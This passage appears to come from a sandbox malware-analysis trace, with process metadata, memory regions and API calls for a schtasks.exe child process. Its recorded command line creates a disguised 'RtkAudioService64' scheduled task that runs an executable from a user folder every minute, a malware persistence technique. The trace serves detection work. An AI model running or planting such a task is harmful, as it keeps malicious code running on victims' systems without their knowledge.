id = 316 os_tid = 0x10e0 Thread: id = 317 os_tid = 0x10d8 Thread: id = 318 os_tid = 0x10d4 Thread: id = 319 os_tid = 0x10d0 Thread: id = 320 os_tid = 0x10cc Thread: id = 321 os_tid = 0x1080 Process: id = "78" image_name = "schtasks.exe" filename = "c:\\windows\\syswow64\\schtasks.exe" page_root = "0x474bf000" os_pid = "0x12fc" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0x1184" cmd_line = "\"C:\\Windows\\SysWOW64\\schtasks.exe\" /create /tn RtkAudioService64 /tr \"C:\\Users\\RDhJ0CNFevzX\\btpanui\\SystemPropertiesPerformance.exe\" /sc minute /mo 1 /F" cur_dir = "C:\\Windows\\SysWOW64\\" os_username = "XC64ZB\\RDhJ0CNFevzX" bitness = "32" os_groups = "XC64ZB\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000ebd3" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 2314 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 2315 start_va = 0x30000 end_va = 0x44fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 2316 start_va = 0x50000 end_va = 0x8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000050000" filename = "" Region: id = 2317 start_va = 0x90000 end_va = 0xcffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000090000" filename = "" Region: id = 2318 start_va = 0xd0000 end_va = 0xd3fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000d0000" filename = "" Region: id = 2319 start_va = 0xe0000 end_va = 0xe0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 2320 start_va = 0xf0000 end_va = 0xf1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000f0000" filename = "" Region: id = 2321 start_va = 0x230000 end_va = 0x261fff monitored = 1 entry_point = 0x2505b0 region_type = mapped_file name = "schtasks.exe" filename = "\\Windows\\SysWOW64\\schtasks.exe" (normalized: "c:\\windows\\syswow64\\schtasks.exe") Region: id = 2322 start_va = 0x270000 end_va = 0x426ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000270000" filename = "" Region: id = 2323 start_va = 0x4270000 end_va = 0x4271fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004270000" filename = "" Region: id = 2324 start_va = 0x4400000 end_va = 0x45fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004400000" filename = "" Region: id = 2325 start_va = 0x77220000 end_va = 0x7739afff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 2326 start_va = 0x7ef80000 end_va = 0x7efa2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007ef80000" filename = "" Region: id = 2327 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 2328 start_va = 0x7fff0000 end_va = 0x7dfff079ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 2329 start_va = 0x7dfff07a0000 end_va = 0x7ffff079ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007dfff07a0000" filename = "" Region: id = 2330 start_va = 0x7ffff07a0000 end_va = 0x7ffff0960fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 2331 start_va = 0x7ffff0961000 end_va = 0x7ffffffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ffff0961000" filename = "" Region: id = 2498 start_va = 0x100000 end_va = 0x19ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000100000" filename = "" Region: id = 2499 start_va = 0x656f0000 end_va = 0x6573ffff monitored = 0 entry_point = 0x65708180 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 2500 start_va = 0x65670000 end_va = 0x656e9fff monitored = 0 entry_point = 0x65683290 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 2501 start_va = 0x770a0000 end_va = 0x7717ffff monitored = 0 entry_point = 0x770b3980 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 2503 start_va = 0x65740000 end_va = 0x65747fff monitored = 0 entry_point = 0x657417c0 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 2504 start_va = 0x4600000 end_va = 0x47affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004600000" filename = "" Region: id = 2505 start_va = 0x770a0000 end_va = 0x7717ffff monitored = 0 entry_point = 0x770b3980 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 2506 start_va = 0x74920000 end_va = 0x74a9dfff monitored = 0 entry_point = 0x749d1b90 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 2507 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 2508 start_va = 0x7ee80000 end_va = 0x7ef7ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007ee80000" filename = "" Region: id = 2670 start_va = 0x4270000 end_va = 0x432dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 2671 start_va = 0x4330000 end_va = 0x4333fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004330000" filename = "" Region: id = 2672 start_va = 0x75640000 end_va = 0x756fdfff monitored = 0 entry_point = 0x75675630 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 2673 start_va = 0x100000 end_va = 0x13ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000100000" filename = "" Region: id = 2674 start_va = 0x140000 end_va = 0x17ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000140000" filename = "" Region: id = 2675 start_va = 0x190000 end_va = 0x19ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000190000" filename = "" Region: id = 2676 start_va = 0x74820000 end_va = 0x748b1fff monitored = 0 entry_point = 0x74858cf0 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\SysWOW64\\oleaut32.dll" (normalized: "c:\\windows\\syswow64\\oleaut32.dll") Region: id = 2677 start_va = 0x75420000 end_va = 0x755dcfff monitored = 0 entry_point = 0x75502a10 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\SysWOW64\\combase.dll" (normalized: "c:\\windows\\syswow64\\combase.dll") Region: id = 2678 start_va = 0x75ad0000 end_va = 0x75b7cfff monitored = 0 entry_point = 0x75ae4f00 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 2679 start_va = 0x73f50000 end_va = 0x73f6dfff monitored = 0 entry_point = 0x73f5b640 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 2680 start_va = 0x73f40000 end_va = 0x73f49fff monitored = 0 entry_point = 0x73f42a00 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 2681 start_va = 0x755e0000 end_va = 0x75637fff monitored = 0 entry_point = 0x756225c0 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\SysWOW64\\bcryptprimitives.dll" (normalized: "c:\\windows\\syswow64\\bcryptprimitives.dll") Region: id = 2682 start_va = 0x75900000 end_va = 0x75943fff monitored = 0 entry_point = 0x75919d80 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 2683 start_va = 0x47b0000 end_va = 0x488ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000047b0000" filename = "" Region: id = 2684 start_va = 0x4890000 end_va = 0x4979fff monitored = 0 entry_point = 0x48cd650 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\SysWOW64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll") Region: id = 2685 start_va = 0x4340000 end_va = 0x4352fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "schtasks.exe.mui" filename = "\\Windows\\SysWOW64\\en-US\\schtasks.exe.mui" (normalized: "c:\\windows\\syswow64\\en-us\\schtasks.exe.mui") Region: id = 2686 start_va = 0x4890000 end_va = 0x4bc6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 2687 start_va = 0x75410000 end_va = 0x7541bfff monitored = 0 entry_point = 0x75413930 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\SysWOW64\\kernel.appcore.dll" (normalized: "c:\\windows\\syswow64\\kernel.appcore.dll") Region: id = 2688 start_va = 0x4360000 end_va = 0x4360fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000004360000" filename = "" Region: id = 2689 start_va = 0x75700000 end_va = 0x75783fff monitored = 0 entry_point = 0x75726220 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\SysWOW64\\clbcatq.dll" (normalized: "c:\\windows\\syswow64\\clbcatq.dll") Region: id = 2690 start_va = 0x4370000 end_va = 0x4370fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000004370000" filename = "" Region: id = 2691 start_va = 0x6ac20000 end_va = 0x6acabfff monitored = 0 entry_point = 0x6ac5a6c0 region_type = mapped_file name = "taskschd.dll" filename = "\\Windows\\SysWOW64\\taskschd.dll" (normalized: "c:\\windows\\syswow64\\taskschd.dll") Region: id = 2692 start_va = 0x70500000 end_va = 0x7052cfff monitored = 0 entry_point = 0x70512b00 region_type = mapped_file name = "xmllite.dll" filename = "\\Windows\\SysWOW64\\xmllite.dll" (normalized: "c:\\windows\\syswow64\\xmllite.dll") Thread: id = 327 os_tid = 0x13b8 [0171.339] GetModuleHandleA (lpModuleName=0x0) returned 0x230000 [0171.339] __set_app_type (_Type=0x1) [0171.339] __p__fmode () returned 0x756f4d6c [0171.340] __p__commode () returned 0x756f5b1c [0171.340] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x250840) returned 0x0 [0171.340] __wgetmainargs (in: _Argc=0x25ade0, _Argv=0x25ade4, _Env=0x25ade8, _DoWildCard=0, _StartInfo=0x25adf4 | out: _Argc=0x25ade0, _Argv=0x25ade4, _Env=0x25ade8) returned 0 [0171.340] _onexit (_Func=0x252bc0) returned 0x252bc0 [0171.341] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0171.341] WinSqmIsOptedIn () returned 0x0 [0171.341] GetProcessHeap () returned 0x46b0000 [0171.341] RtlAllocateHeap (HeapHandle=0x46b0000, Flags=0xc, Size=0x10) returned 0x46b74c0 [0171.341] RtlRestoreLastWin32Error () returned 0x0 [0171.341] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x0, Condition=0x2) returned 0x18 [0171.341] VerSetConditionMask (ConditionMask=0x18, TypeMask=0x80000000, Condition=0x1) returned 0x1b [0171.341] VerSetConditionMask (ConditionMask=0x1b, TypeMask=0x80000000, Condition=0x20) returned 0x1801b [0171.341] RtlVerifyVersionInfo (VersionInfo=0xcf4a8, TypeMask=0x3, ConditionMask=0x1801b) returned 0x0 [0171.341] GetProcessHeap () returned 0x46b0000 [0171.341] RtlAllocateHeap (HeapHandle=0x46b0000, Flags=0xc, Size=0x10) returned 0x46b7520 [0171.341] lstrlenW (lpString="") returned 0 [0171.342] GetProcessHeap () returned 0x46b0000 [0171.342] RtlAllocateHeap (HeapHandle=0x46b0000, Flags=0xc, Size=0x2) returned 0x46b0598 [0171.342] GetProcessHeap () returned 0x46b0000 [0171.342] RtlAllocateHeap (HeapHandle=0x46b0000, Flags=0xc, Size=0x14) returned 0x46b6f78 [0171.342] GetProcessHeap () returned 0x46b0000 [0171.342] RtlAllocateHeap (HeapHandle=0x46b0000, Flags=0xc, Size=0x10) returned 0x46b74f0 [0171.342] GetProcessHeap () returned 0x46b0000 [0171.342] RtlAllocateHeap (HeapHandle=0x46b0000, Flags=0xc, Size=0x14) returned 0x46b6d40 [0171.342] GetProcessHeap () returned 0x46b0000 [0171.342] RtlAllocateHeap (HeapHandle=0x46b0000, Flags=0xc, Size=0x14) returned 0x46b6d60 [0171.342] GetProcessHeap () returned 0x46b0000 [0171.342] RtlAllocateHeap (HeapHandle=0x46b0000, Flags=0xc, Size=0x14) returned 0x46b6d80 [0171.342] GetProcessHeap () returned 0x46b0000 [0171.342] RtlAllocateHeap (HeapHandle=0x46b0000, Flags=0xc, Size=0x14) returned 0x46b6970 [0171.342] GetProcessHeap () returned 0x46b0000 [0171.342] RtlAllocateHeap (HeapHandle=0x46b0000, Flags=0xc, Size=0x10) returned 0x46b7538 [0171.342] GetProcessHeap () returned 0x46b0000 [0171.342] RtlAllocateHeap (HeapHandle=0x46b0000, Flags=0xc, Size=0x14) returned 0x46b6990 [0171.342] GetProcessHeap () returned 0x46b0000 [0171.342] RtlAllocateHeap (HeapHandle=0x46b0000, Flags=0xc, Size=0x14) returned 0x46b69b0 [0171.342] GetProcessHeap () returned 0x46b0000 [0171.342] RtlAllocateHeap (HeapHandle=0x46b0000, Flags=0xc, Size=0x14) returned 0x46b6708 [0171.342] GetProcessHeap () returned 0x46b0000 [0171.342] RtlAllocateHeap (HeapHandle=0x46b0000, Flags=0xc, Size=0x14) returned 0x46b6728 [0171.342] GetProcessHeap () returned 0x46b0000 [0171.342] RtlAllocateHeap (HeapHandle=0x46b0000, Flags=0xc, Size=0x10) returned 0x46b75c8 [0171.342] GetProcessHeap () returned 0x46b0000 [0171.342] RtlAllocateHeap (HeapHandle=0x46b0000, Flags=0xc, Size=0x14) returned 0x46b6748 [0171.342] GetProcessHeap () returned 0x46b0000 [0171.342] RtlAllocateHeap (HeapHandle=0x46b0000, Flags=0xc, Size=0x14) returned 0x46b2898 [0171.343] GetProcessHeap () returned 0x46b0000 [0171.343] RtlAllocateHeap (HeapHandle=0x46b0000, Flags=0xc, Size=0x14) returned 0x46b28b8 [0171.343] GetProcessHeap () returned 0x46b0000 [0171.343] RtlAllocateHeap (HeapHandle=0x46b0000, Flags=0xc, Size=0x14) returned 0x46b28d8 [0171.343] SetThreadUILanguage (LangId=0x0) returned 0x409 [0171.397] RtlRestoreLastWin32Error () returned 0x0 [0171.397] GetProcessHeap () returned 0x46b0000 [0171.397] RtlAllocateHeap (HeapHandle=0x46b0000, Flags=0xc, Size=0x14) returned 0x46b97f8 [0171.397] GetProcessHeap () returned 0x46b0000 [0171.397] RtlAllocateHeap (HeapHandle=0x46b0000, Flags=0xc, Size=0x14) returned 0x46b9818 [0171.397] GetProcessHeap () returned 0x46b0000 [0171.397] RtlAllocateHeap (HeapHandle=0x46b0000, Flags=0xc, Size=0x14) returned 0x46b9658 [0171.398] GetProcessHeap () returned 0x46b0000 [0171.398] RtlAllocateHeap (HeapHandle=0x46b0000, Flags=0xc, Size=0x14) returned 0x46b95f8 [0171.398] GetProcessHeap () returned 0x46b0000 [0171.398] RtlAllocateHeap (HeapHandle=0x46b0000, Flags=0xc, Size=0x14) returned 0x46b9458 [0171.398] GetProcessHeap () returned 0x46b0000 [0171.398] RtlAllocateHeap (HeapHandle=0x46b0000, Flags=0xc, Size=0x10) returned 0x46b74d8 [0171.398] _memicmp (_Buf1=0x46b74d8, _Buf2=0x232708, _Size=0x7) returned 0 [0171.398] GetProcessHeap () returned 0x46b0000 [0171.398] RtlAllocateHeap (HeapHandle=0x46b0000, Flags=0xc, Size=0x208) returned 0x46b8e10 [0171.398] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x46b8e10, nSize=0x104 | out: lpFilename="C:\\Windows\\SysWOW64\\schtasks.exe" (normalized: "c:\\windows\\syswow64\\schtasks.exe")) returned 0x20 [0171.398] GetFileVersionInfoSizeExW (in: dwFlags=0x1, lpwstrFilename="C:\\Windows\\SysWOW64\\schtasks.exe", lpdwHandle=0xcf5b4 | out: lpdwHandle=0xcf5b4) returned 0x76c [0171.400] GetProcessHeap () returned 0x46b0000 [0171.400] RtlAllocateHeap (HeapHandle=0x46b0000, Flags=0xc, Size=0x776) returned 0x46ba0a0 [0171.400] GetFileVersionInfoExW (in: dwFlags=0x3, lpwstrFilename="C:\\Windows\\SysWOW64\\schtasks.exe", dwHandle=0x0, dwLen=0x776, lpData=0x46ba0a0 | out: lpData=0x46ba0a0) returned 1 [0171.400] VerQueryValueW (in: pBlock=0x46ba0a0, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0xcf5bc, puLen=0xcf5c0 | out: lplpBuffer=0xcf5bc*=0x46ba450, puLen=0xcf5c0) returned 1 [0171.402] _memicmp (_Buf1=0x46b74d8, _Buf2=0x232708, _Size=0x7) returned 0 [0171.402] _vsnwprintf (in: _Buffer=0x46b8e10, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0xcf5a0 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0171.402] VerQueryValueW (in: pBlock=0x46ba0a0, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0xcf5cc, puLen=0xcf5c8 | out: lplpBuffer=0xcf5cc*=0x46ba280, puLen=0xcf5c8) returned 1 [0171.403] lstrlenW (lpString="schtasks.exe") returned 12 [0171.403] lstrlenW (lpString="schtasks.exe") returned 12 [0171.403] lstrlenW (lpString=".EXE") returned 4 [0171.403] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0171.403] lstrlenW (lpString="schtasks.exe") returned 12 [0171.403] lstrlenW (lpString=".EXE") returned 4 [0171.403] _memicmp (_Buf1=0x46b74d8, _Buf2=0x232708, _Size=0x7) returned 0 [0171.403] lstrlenW (lpString="schtasks") returned 8 [0171.403] GetProcessHeap () returned 0x46b0000 [0171.403] RtlAllocateHeap (HeapHandle=0x46b0000, Flags=0xc, Size=0x14) returned 0x46b9758 [0171.403] GetProcessHeap () returned 0x46b0000 [0171.403] RtlAllocateHeap (HeapHandle=0x46b0000, Flags=0xc, Size=0x14) returned 0x46b95b8 [0171.404] GetProcessHeap () returned 0x46b0000 [0171.404] RtlAllocateHeap (HeapHandle=0x46b0000, Flags=0xc, Size=0x14) returned 0x46b9778 [0171.404] GetProcessHeap () returned 0x46b0000 [0171.404] RtlAllocateHeap (HeapHandle=0x46b0000, Flags=0xc, Size=0x14) returned 0x46b95d8 [0171.404] GetProcessHeap () returned 0x46b0000 [0171.404] RtlAllocateHeap (HeapHandle=0x46b0000, Flags=0xc, Size=0x10) returned 0x46b7580 [0171.404] _memicmp (_Buf1=0x46b7580, _Buf2=0x232708, _Size=0x7) returned 0 [0171.404] GetProcessHeap () returned 0x46b0000 [0171.404] RtlAllocateHeap (HeapHandle=0x46b0000, Flags=0xc, Size=0xa0) returned 0x46b9020 [0171.404] GetProcessHeap () returned 0x46b0000 [0171.404] RtlAllocateHeap (HeapHandle=0x46b0000, Flags=0xc, Size=0x14) returned 0x46b9558 [0171.404] GetProcessHeap () returned 0x46b0000 [0171.404] RtlAllocateHeap (HeapHandle=0x46b0000, Flags=0xc, Size=0x14) returned 0x46b9678 [0171.404] GetProcessHeap () returned 0x46b0000 [0171.404] RtlAllocateHeap (HeapHandle=0x46b0000, Flags=0xc, Size=0x14) returned 0x46b9478 [0171.404] GetProcessHeap () returned 0x46b0000 [0171.404] RtlAllocateHeap (HeapHandle=0x46b0000, Flags=0xc, Size=0x10) returned 0x46b7460 [0171.404] _memicmp (_Buf1=0x46b7460, _Buf2=0x232708, _Size=0x7) returned 0 [0171.404] GetProcessHeap () returned 0x46b0000 [0171.404] RtlAllocateHeap (HeapHandle=0x46b0000, Flags=0xc, Size=0x200) returned 0x46ba950 [0171.404] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x46ba950, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0171.405] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0171.405] GetProcessHeap () returned 0x46b0000 [0171.405] RtlAllocateHeap (HeapHandle=0x46b0000, Flags=0xc, Size=0x30) returned 0x46b26a0 [0171.405] _vsnwprintf (in: _Buffer=0x46b9020, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0xcf5a4 | out: _Buffer="Type \"SCHTASKS /?\" for usage.") returned 29 [0171.405] GetProcessHeap () returned 0x46b0000 [0171.405] GetProcessHeap () returned 0x46b0000 [0171.405] HeapValidate (hHeap=0x46b0000, dwFlags=0x0, lpMem=0x46ba0a0) returned 1 [0171.405] GetProcessHeap () returned 0x46b0000 [0171.405] RtlSizeHeap (HeapHandle=0x46b0000, Flags=0x0, MemoryPointer=0x46ba0a0) returned 0x776 [0171.406] RtlFreeHeap (HeapHandle=0x46b0000, Flags=0x0, BaseAddress=0x46ba0a0) returned 1 [0171.406] RtlRestoreLastWin32Error () returned 0x0 [0171.406] GetThreadLocale () returned 0x409 [0171.406] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0171.406] lstrlenW (lpString="?") returned 1 [0171.406] GetThreadLocale () returned 0x409 [0171.406] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0171.406] lstrlenW (lpString="create") returned 6 [0171.406] GetThreadLocale () returned 0x409 [0171.406] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0171.406] lstrlenW (lpString="delete") returned 6 [0171.406] GetThreadLocale () returned 0x409 [0171.406] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0171.406] lstrlenW (lpString="query") returned 5 [0171.406] GetThreadLocale () returned 0x409 [0171.406] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0171.407] lstrlenW (lpString="change") returned 6 [0171.407] GetThreadLocale () returned 0x409 [0171.407] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0171.407] lstrlenW (lpString="run") returned 3 [0171.407] GetThreadLocale () returned 0x409 [0171.407] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0171.407] lstrlenW (lpString="end") returned 3 [0171.407] GetThreadLocale () returned 0x409 [0171.407] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0171.407] lstrlenW (lpString="showsid") returned 7 [0171.407] GetThreadLocale () returned 0x409 [0171.407] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0171.407] RtlRestoreLastWin32Error () returned 0x0 [0171.407] RtlRestoreLastWin32Error () returned 0x0 [0171.407] lstrlenW (lpString="/create") returned 7 [0171.407] lstrlenW (lpString="-/") returned 2 [0171.407] StrChrIW (lpStart="-/", wMatch=0x488002f) returned="/" [0171.407] lstrlenW (lpString="?") returned 1 [0171.407] lstrlenW (lpString="?") returned 1 [0171.407] GetProcessHeap () returned 0x46b0000 [0171.407] RtlAllocateHeap (HeapHandle=0x46b0000, Flags=0xc, Size=0x10) returned 0x46b75f8 [0171.407] _memicmp (_Buf1=0x46b75f8, _Buf2=0x232708, _Size=0x7) returned 0 [0171.407] GetProcessHeap () returned 0x46b0000 [0171.407] RtlAllocateHeap (HeapHandle=0x46b0000, Flags=0xc, Size=0xa) returned 0x46b7568 [0171.407] lstrlenW (lpString="create") returned 6 [0171.407] GetProcessHeap () returned 0x46b0000 [0171.407] RtlAllocateHeap (HeapHandle=0x46b0000, Flags=0xc, Size=0x10) returned 0x46b7598 [0171.407] _memicmp (_Buf1=0x46b7598, _Buf2=0x232708, _Size=0x7) returned 0 [0171.407] GetProcessHeap () returned 0x46b0000 [0171.407] RtlAllocateHeap (HeapHandle=0x46b0000, Flags=0xc, Size=0x14) returned 0x46b9618 [0171.408] _vsnwprintf (in: _Buffer=0x46b7568, _BufferCount=0x4, _Format="|%s|", _ArgList=0xcf590 | out: _Buffer="|?|") returned 3 [0171.408] _vsnwprintf (in: _Buffer=0x46b9618, _BufferCount=0x9, _Format="|%s|", _ArgList=0xcf590 | out: _Buffer="|create|") returned 8 [0171.408] lstrlenW (lpString="|?|") returned 3 [0171.408] lstrlenW (lpString="|create|") returned 8 [0171.408] RtlRestoreLastWin32Error () returned 0x490 [0171.408] lstrlenW (lpString="create") returned 6 [0171.408] lstrlenW (lpString="create") returned 6 [0171.408] _memicmp (_Buf1=0x46b75f8, _Buf2=0x232708, _Size=0x7) returned 0 [0171.408] GetProcessHeap () returned 0x46b0000 [0171.408] HeapValidate (hHeap=0x46b0000, dwFlags=0x0, lpMem=0x46b7568) returned 1 [0171.408] GetProcessHeap () returned 0x46b0000 [0171.408] RtlReAllocateHeap (Heap=0x46b0000, Flags=0xc, Ptr=0x46b7568, Size=0x14) returned 0x46b9498 [0171.408] lstrlenW (lpString="create") returned 6 [0171.408] _memicmp (_Buf1=0x46b7598, _Buf2=0x232708, _Size=0x7) returned 0 [0171.408] _vsnwprintf (in: _Buffer=0x46b9498, _BufferCount=0x9, _Format="|%s|", _ArgList=0xcf590 | out: _Buffer="|create|") returned 8 [0171.408] _vsnwprintf (in: _Buffer=0x46b9618, _BufferCount=0x9, _Format="|%s|", _ArgList=0xcf590 | out: _Buffer="|create|") returned 8 [0171.408] lstrlenW (lpString="|create|") returned 8 [0171.408] lstrlenW (lpString="|create|") returned 8 [0171.408] StrStrIW (lpFirst="|create|", lpSrch="|create|") returned="|create|" [0171.408] RtlRestoreLastWin32Error () returned 0x0 [0171.408] RtlRestoreLastWin32Error () returned 0x0 [0171.408] RtlRestoreLastWin32Error () returned 0x0 [0171.408] lstrlenW (lpString="/tn") returned 3 [0171.408] lstrlenW (lpString="-/") returned 2 [0171.408] StrChrIW (lpStart="-/", wMatch=0x488002f) returned="/" [0171.408] lstrlenW (lpString="?") returned 1 [0171.408] lstrlenW (lpString="?") returned 1 [0171.408] _memicmp (_Buf1=0x46b75f8, _Buf2=0x232708, _Size=0x7) returned 0 [0171.409] lstrlenW (lpString="tn") returned 2 [0171.409] _memicmp (_Buf1=0x46b7598, _Buf2=0x232708, _Size=0x7) returned 0 [0171.409] _vsnwprintf (in: _Buffer=0x46b9498, _BufferCount=0x4, _Format="|%s|", _ArgList=0xcf590 | out: _Buffer="|?|") returned 3 [0171.409] _vsnwprintf (in: _Buffer=0x46b9618, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcf590 | out: _Buffer="|tn|") returned 4 [0171.409] lstrlenW (lpString="|?|") returned 3 [0171.409] lstrlenW (lpString="|tn|") returned 4 [0171.409] RtlRestoreLastWin32Error () returned 0x490 [0171.409] lstrlenW (lpString="create") returned 6 [0171.409] lstrlenW (lpString="create") returned 6 [0171.409] _memicmp (_Buf1=0x46b75f8, _Buf2=0x232708, _Size=0x7) returned 0 [0171.409] lstrlenW (lpString="tn") returned 2 [0171.409] _memicmp (_Buf1=0x46b7598, _Buf2=0x232708, _Size=0x7) returned 0 [0171.409] _vsnwprintf (in: _Buffer=0x46b9498, _BufferCount=0x9, _Format="|%s|", _ArgList=0xcf590 | out: _Buffer="|create|") returned 8 [0171.409] _vsnwprintf (in: _Buffer=0x46b9618, 